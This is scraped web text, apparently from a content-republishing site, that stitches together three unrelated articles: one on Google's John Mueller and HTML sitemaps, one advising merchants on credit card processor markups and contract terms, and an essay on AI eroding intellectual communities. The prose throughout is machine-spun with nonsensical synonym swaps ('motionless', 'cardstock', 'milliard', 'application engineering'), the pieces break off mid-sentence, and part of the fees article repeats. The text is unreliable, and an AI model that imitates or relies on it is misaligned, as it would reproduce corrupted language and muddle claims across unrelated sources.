identical way as an XML sitemap document since it doesn’t have this strict construction to it. It’s basically a gathering of links.”</p></blockquote><div data-total="8" id="SEJ_300x250_UnderPost_2-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="1" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_2" id="SEJ_300x250_UnderPost_2" class="sadslots"> </div> </div> </div> </div> <h2>Google Explains How To Use HTML Sitemaps</h2> <p>Somewhat surprisingly, Google’s Mueller explained that HTML sitemaps can motionless be used. His answer implied deploying them as a part of a navigational scheme for users. Mueller used the example of an ecommerce site, but his answer can use to any benevolent of website.</p> <p>In his example, an HTML sitemap enables location visitors to effortlessly attain the top-level merchandise (or topic) category pages from which location visitors can drill downward to a merchandise (or topic) they are curious in.</p> <p><em>His answer was in reply to Martin Splitt’s question:</em></p> <blockquote><p>“But that motionless would assistance crawling since from this location we can discover all the links as well. It’s fair not as organized and apparent cut as an XML sitemap, I guess.”</p></blockquote><div data-total="8" id="SEJ_300x250_UnderPost_3-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="2" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_3" id="SEJ_300x250_UnderPost_3" class="sadslots"> </div> </div> </div> </div> <p>Mueller offered this answer:</p> <blockquote><p>“Yes, absolutely. And it’s item I think that a lot of HTML sitemaps, they don’t contain everything.</p> <p>So if you have an e-commerce site, you wouldn’t catalog all of your products in an HTML sitemap file. You would catalog perchance the categories so that group can go to the correct place, but afterward choice out the merchandise individually. So it’s similar, but not exactly the same.”</p></blockquote> <h2>Should You Use HTML Sitemaps For SEO?</h2> <p>For several readers, this is a comparatively new idea. For others, the idea of an HTML sitemap power be perceived as old and outdated akin directory links or reciprocal nexus arrangements. And yet, Google’s John Mueller says that they can be helpful for users, which method HTML sitemaps could be helpful for Google.</p><div data-total="8" id="SEJ_300x250_UnderPost_4-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="3" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_4" id="SEJ_300x250_UnderPost_4" class="sadslots"> </div> </div> </div> </div> <p>If you’re going to do it, do it in a way that’s helpful for users, and you may discover that location visitors volition commencement using and recommending additional pages from the site, and Google volition choice up on those signals.</p> <h2>Takeaways</h2> <ul> <li>HTML sitemaps have a lengthy former in SEO.

Much of what merchants overpay is processor markup and add-on fees, and those can be negotiated.</li> <li>Five questions, answered in writing, can disclose the markup before you sign and defend you after.</li> </ul> </div> <p>In 2009, U.S. merchants paid $62.1 milliard to <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">accept credit and debit cards</a>. In 2025, they paid $198.25 billion, according to Nilson Report figures published by the Merchants Payments Coalition. For most businesses, cardstock acceptance is now the largest functioning disbursal following labor.</p> <p>You would think the rates themselves must have exploded. They haven&rsquo;t. When the Government Accountability Office studied interchange in 2009, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">Mastercard&rsquo;s highest interchange rate</a> was 3.25%. Today it is 3.30%, five basis points in 17 years. Visa&rsquo;s top charge was 2.95%. It is now 3.15%, but that addition is recent, and most Visa transactions motionless apparent at 2.95% or less. More group paying by cardstock explains much of the growth in that $198 milliard total. It does not explain why so many merchants observe their own productive charge creep up twelvemonth following twelvemonth during the networks&rsquo; published rates barely move.</p> <p>That gap is the processor&rsquo;s markup and the <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">fees</a> stacked on top of it. I know, since I helped collect them. I spent additional than a decade in the credit cardstock handling division of a business bank, as an administrator at Fifth Third Processing Solutions, afterward Vantiv and Worldpay, now part of Global Payments. During the Great Recession, merchants processed less, so our income fell. </p> <p>Instead of riding it out, the answer was new fees. The day we announced another one, a monthly accusation of concerning $8.95 per merchant ID, the mood was celebration, not regret. I could no longer do it. I blurted out in a boardroom gathering I got into banking to create my mother proud, and I&rsquo;m leaving since I could no longer inform my mother what I did for a living. That was January 2009.</p> <p>Later that year, three another erstwhile executives and I founded a credit cardstock handling auditing resolute to defend merchants from <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">unethical billing practices</a>. Our audits disclose overbilling in concerning 99% of the statements we review, and additional than 90% of the accounts we audit aren&rsquo;t set up correctly from the start.&nbsp;</p> <p>Here&rsquo;s the crucial math: Interchange, the wholesale disbursal all processor pays, accounts for 80% to 90% of what a merchant should typically pay. A rivalrous markup complete interchange can be as low as 0.02% to 0.05%. However, commonly reported markups range from 0.15% to 0.90%. For example, on $2 myriad in annual cardstock sales, the difference between a 0.50% markup and a 0.05% markup is $9,000 a year, not equal accounting for additional junk fees.</p> <p>Before you sign, ask these five questions. Get all answer in writing, signed by an authoritative of the company, on paper. Not an email, not a phone call. You desire item that volition clasp up in court.</p> <h2 id="h-question-1-is-my-rate-fixed-or-can-you-raise-it-without-my-signature">Question 1: &ldquo;Is my charge fixed, or can you lift it without my signature?&rdquo;</h2> <p>Nearly all <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">merchant agreement</a> lets the processor alter its fees, and equal its terms, at any period alongside nothing additional than notice. That notice normally arrives as a row of fine imprint in the communication box on your monthly statement, which nearly nobody reads. Visa and Mastercard publish charge changes twice a year, in April and October, alongside additional than 200 rules and rates changing at once. A processor addition that lands in the identical sequence disappears into that noise. A signed charge is a starting position, not a guarantee.</p> <h2 id="h-question-2-will-you-show-me-your-markup-separately-from-interchange">Question 2: &ldquo;Will you display me your markup separately from interchange?&rdquo;</h2> <p>This is the sole most revealing inquiry on the list. <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">Interchange-plus pricing</a> shows interchange on one row and the processor&rsquo;s markup on another. Tiered and flat-rate pricing blend the two, so you can never inform what the processor is keeping. If a processor won&rsquo;t unbundle it, it is hiding the markup. Then ask the follow-up: Is interchange passed through at cost, or padded?</p> <h2 id="h-question-3-what-happens-if-i-want-to-leave">Question 3: &ldquo;What happens if I desire to leave?&rdquo;</h2> <p>Look for <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">early ending fees</a>, liquidated damages clauses that invoice you for the processor&rsquo;s projected gain on the remainder of the term, and equipment leases that last following the handling agreement ends. Then discover the auto-renewal clause. Many necessitate you to cancel inner a narrow opening years in the future, and several processors have pushed that notice duration out to 90 days before renewal. By the period most merchants look, the opening has closed and they are locked in for another term.</p> <h2 id="h-question-4-which-fees-on-my-statement-do-you-control">Question 4: &ldquo;Which fees on my declaration do you control?&rdquo;</h2> <p>The cardstock brands set interchange and network assessments. The processor sets much of what sits on top, equal whenever it is named to audio official. &ldquo;Annual PCI fee,&rdquo; &ldquo;regulatory compliance fee&rdquo; and akin row items audio akin authorities or card-brand charges, and are frequently clean margin. Ask the processor to tag all row on your declaration as either a pass-through or its own. Anything it controls, you can negotiate. That $8.95 fee I watched get invented never appeared on anyone&rsquo;s declaration as &ldquo;extra profit.&rdquo;</p> <h2 id="h-question-5-will-you-put-every-verbal-promise-in-writing">Question 5: &ldquo;Will you put all verbal commitment in writing?&rdquo;</h2> <p>The traditional throw is a rep quoting a low productive charge that disappears following 90 days, or a commitment to equivalent any recommendation that nobody can discover a twelvemonth later. If the commitment isn&rsquo;t in the contract, it doesn&rsquo;t exist.</p> <h2 id="h-the-contract-is-your-only-protection">The agreement is your lone protection</h2> <p>It does not matter how fine your rates are if the agreement lets the processor alter them whenever it wants. Negotiate the agreement as difficult as the pricing: attack or cap the ending fees, shorten or eliminate the auto-renewal and fastener the markup in writing.</p> <p>Then keep watching. <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">Processors</a> cognize most merchants have no idea what the codes and acronyms on a declaration mean, and the ones who do have too many another fires to expend hours all duration checking for overbilling. That is how accounts drift.</p> <p>Remember, this is not akin another vendor agreements anywhere you validate the invoice and afterward pay it. With merchant processing, you are giving them unvetted admission to your financial institution document &mdash; which I frequently mention to as the &ldquo;keys to the kingdom.&rdquo; They obtain what they want, and afterward they dispatch you a declaration that you can&rsquo;t peruse or validate.</p> <p>Whether you&rsquo;re negotiating a agreement or having an attorney vet it to justify you are not signing a bad agreement that could disbursal you a lot of money, you should use a resolute that is an expert in this space.&nbsp;</p> <p>Yes, our resolute can assistance alongside that, but many others can as well. However, do your homework, too. Make certain they are not a credit cardstock processor pretending to be a credit cardstock handling auditing firm. Check out their BBB, their LinkedIn profiles, etc., and create certain you dont sign item that is not month-to-month and has a money-back guarantee.&nbsp;&nbsp;</p> </div><div> <div> <h2>Key Takeaways</h2> <ul> <li>U.S. merchants paid a document $198.25 milliard in cardstock handling fees in 2025, up 219% since 2009.</li> <li>The cardstock networks&rsquo; top interchange rates have barely moved in that time. Much of what merchants overpay is processor markup and add-on fees, and those can be negotiated.</li> <li>Five questions, answered in writing, can disclose the markup before you sign and defend you after.</li> </ul> </div> <p>In 2009, U.S. merchants paid $62.1 milliard to <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">accept credit and debit cards</a>. In 2025, they paid $198.25 billion, according to Nilson Report figures published by the Merchants Payments Coalition. For most businesses, cardstock acceptance is now the largest functioning disbursal following labor.</p> <p>You would think the rates themselves must have exploded. They haven&rsquo;t. When the Government Accountability Office studied interchange in 2009, <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">Mastercard&rsquo;s highest interchange rate</a> was 3.25%. Today it is 3.30%, five basis points in 17 years. Visa&rsquo;s top charge was 2.95%. It is now 3.15%, but that addition is recent, and most Visa transactions motionless apparent at 2.95% or less. More group paying by cardstock explains much of the growth in that $198 milliard total. It does not explain why so many merchants observe their own productive charge creep up twelvemonth following twelvemonth during the networks&rsquo; published rates barely move.</p> <p>That gap is the processor&rsquo;s markup and the <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noreferrer noopener">fees</a> stacked on top of it. I know, since I helped collect them. I spent additional than a decade in the credit cardstock handling division of a business bank, as an administrator at Fifth Third Processing Solutions, afterward Vantiv and Worldpay, now part of Global Payments. During the Great Recession, merchants processed less, so our income fell. </p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/5-things-to-ask-your-credit-card-processor-before-signing-a-contract-71921</guid> <pubDate>Fri, 09 Oct 2026 22:30:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Robert L.

AI dissolves these communities, which in rotate makes personal intelligent action rarer.</p> <p>Some years ago, whenever it became apparent that AI would resolve application engineering, my thinking was:</p> <ol> <li>In my expert life, I&rsquo;m blessed to move one flat up to rotate into a manager of AI agents. I&rsquo;m literate, I&rsquo;m a fine specialized writer, I can depict what I desire and let AI agents compose the code.</li> <li>In my own time, I can keep doing the things I attention concerning since I bask them intrinsically. This is the &ldquo;intellectual&rdquo; flank of application engineering: reading specialized blog posts and papers, learning new programming languages, designing new programming languages, penning specialized essays, penning code for my small open origin projects.</li> </ol> <p>The second item has not fairly worked out. What really happened? First, the discourse of application engineering became worse. As I <a href="https://en.mycoding.id/category/technology" target="_blank">wrote earlier</a>:</p> <blockquote> <p>Claude Code was released a small complete a twelvemonth ago. In that abbreviated time, software engineering has been entirely transformed. Materially, it power be positive: higher productivity, although at the disbursal of a messier codebase. Socially, it has been a disaster.</p> <p>The conversation about application engineering has gotten dumber. It&rsquo;s like everyone in the industry misplaced 30 IQ points. People used to conversation about compilers, category systems, logic. Now they conversation concerning &ldquo;prompts&rdquo;, &ldquo;harnesses&rdquo;, &ldquo;loops&rdquo;. The conversation is narrower, shallower, and additional repetitive. There&rsquo;s only so many times I can comprehend concerning &ldquo;agentic harnesses&rdquo; before I endure my mind.</p> <p>Then there&rsquo;s the defeat of individual chief formation: there is nothing to learn. Prompting is not a skill, at least, it&rsquo;s a much shallower accomplishment than software engineering. The instrumental size of the activity has improved in that group can get additional output per component of effort, but the size of work that&rsquo;s concerning construction up individual chief has collapsed. And perchance this is rational. Why study to code at all? The computers can do that for us. And so the rigorous, systematic thinking you need to custom in command to be a good programmer: all gone. The machines can be logical for us. We can fair vibe.</p> </blockquote> <p>Second, contributing to the commons of application engineering is increasingly pointless. Before AI, you could publish open-source code, compose blog posts to share ideas or motivate another people, compose expository texts akin tutorials, forum posts, textbooks etc. to instruct people. After AI, what&rsquo;s the point?</p> <ul> <li>You compose a blog post: who&rsquo;s going to peruse it? The next training run will ingest it, marginally improving AI capabilities. Maybe the article was a workaround to several obscure specialized problem, so the next period someone encounters that problem, they volition ask Claude, who volition resolve it without crediting you. Maybe you had several understanding concerning how to construction large codebases: who cares? The humans aren&rsquo;t making those decisions anymore.</li> <li>You scheme a revolutionary new programming language: who cares? Maybe Claude cares, for what that&rsquo;s worth. But humans don&rsquo;t compose or equal peruse the code anymore. The programming tongue is an implementation item the humans no longer have to attention about.</li> <li>You compose a library, and publish it on GitHub: who cares? The AIs might discover it, and use it, but the controller won&rsquo;t cognize you be or did anything.</li> </ul> <p>It&rsquo;s not fair &ldquo;you can&rsquo;t get GitHub stars or traffic to your blog&rdquo;; rather, there is no awareness of a average individual project you can contribute to. There&rsquo;s your own personal storyline of code, which you can develop infinitely in all directions with the assistance of AI, but you never have to depart the storyline and go to the market to trade alongside people. Under these conditions, it&rsquo;s difficult to attention or do anything.</p> <p>But does it really matter? Does it matter if we halt penning blog posts about obscure JavaScript features, and designing new programming languages? Maybe writing code was continually drudgery, and now we can move on to higher things, like math&mdash;<a href="https://en.mycoding.id/category/technology" target="_blank">oh, wait</a>.</p> <p>From observing what happened to application engineering, and what&rsquo;s currently happening to mathematics, I think we can get several broad insights about intellectual practices in general.</p> <p>We lean to think of intelligent action as personal and solitary: the philosopher sitting in his armchair, deriving the earth <em>ab initio</em>. But intellectual action has two inputs that can&rsquo;t be acquired in isolation: a <strong>shared build of work</strong> to build upon, and <strong>motivation</strong>. The shared build of work is communal, unless you desire to recapitulate the complete tech tree. Motivation we can interrupt downward into two components:</p> <ul> <li><strong>Intrinsic motivation:</strong> we study for the purpose of learning, we create art from a compulsion we can&rsquo;t understand, etc.</li> <li><strong>Extrinsic motivation:</strong> David Chapman <a href="https://en.mycoding.id/category/technology" target="_blank">defines</a> &ldquo;nobility&rdquo; as manifesting glory for the assistance of others, and using our abilities in service of others. We desire our activity to be helpful to others, we desire others to benefit from our work, we desire to contribute to a shared individual project. Fame and the esteem and fine volition of your peers are the proxies by which we measure our contribution.</li> </ul> <p>We lean to think of intrinsic motivation as the purest kind: endogenous, self-created, unmotivated by matter or social gain. But it&rsquo;s an emotion, and, like all emotions, it&rsquo;s transient and short-lived. And this is rational: otherwise, we&rsquo;d all be stuck in life-long unproductive obsessions. So, we need something to inhabit the gaps between moments of divine inspiration. Extrinsic motivation serves this function.</p> <p>Private intelligent action that is sustained, complex, and long-term requires an external intelligent community to provision matter and motivation, akin fuel and oxidizer. That personal activity, in turn, sustains the community: by publishing papers, textbooks, code, etc., you add to the shared build of activity for others to build on top of; by citing someone&rsquo;s document or contributing to their repository, you provision them the acknowledgment and regard that confirms they are doing useful work, which in rotate motivates them to keep contributing.</p> <p>Without community, you don&rsquo;t get secluded individuals all operating on their own things: you get nothing. The inputs to intelligent action dry up: no one is adding to the shared build of work, and there are no peers to advantage from your own intelligent activity. Without this extrinsic motivation, you get less intellectual action because, again, intrinsic motivation is fleeting.</p> <p>After AI, intelligent contributions rotate into unnecessary or redundant. In the case of software: the AIs compose all the code, so what&rsquo;s the item of writing either code or prose? The spectators for those things is now severely diminished. Humans don&rsquo;t compose code anymore, so they won&rsquo;t peruse blog posts about how to compose code, or tutorials, or try new libraries or programming languages. In the case of mathematics: the AIs can demonstrate theorems, compose papers, explain papers, tutor students, and in the near future, they power compose entire textbooks improved than humans. So what&rsquo;s the item of penning a paper, or a textbook? It&rsquo;s superfluous.</p> <p>If intelligent action is unnecessary&mdash;if there&rsquo;s no <em>consequence</em> to designing a new programming tongue or publishing a paper, or if there&rsquo;s simply no community to contribute to&mdash;then it won&rsquo;t happen. There&rsquo;s no point.</p> <p>Now use this to all another domain of intelligent activity, and you see what the forthcoming looks like. There may be individuals construction new libraries and programming languages, but no shared civilization of application engineering; there may be idiosyncratic students and practitioners of mathematics, but no living community of mathematicians.</p> <p>I&rsquo;ve spoken to group who think AI volition have a affirmative consequence on the existence of the mind, and their thinking is that correct now too many group are doing intellectual action for instrumental reasons: citations, clout, etc. In this view, the downfall of intelligent communities is <em>good</em>, since it sifts the intrinsically-motivated &uuml;bermenschen from the clout-chasing masses.</p> <p>I think this perspective fits alongside contemporary society: we perspective intrinsic and extrinsic motivation as elevated and low status, respectively. A &ldquo;developed&rdquo; person is expected to have a private, inexhaustible reserve of motivation which is causally detached from external reward.</p> <p>But this is not a realistic perspective of individual beings. Humans are social animals who can lone flourish in the community of another humans. We care, and we should care, about contributing to the world.
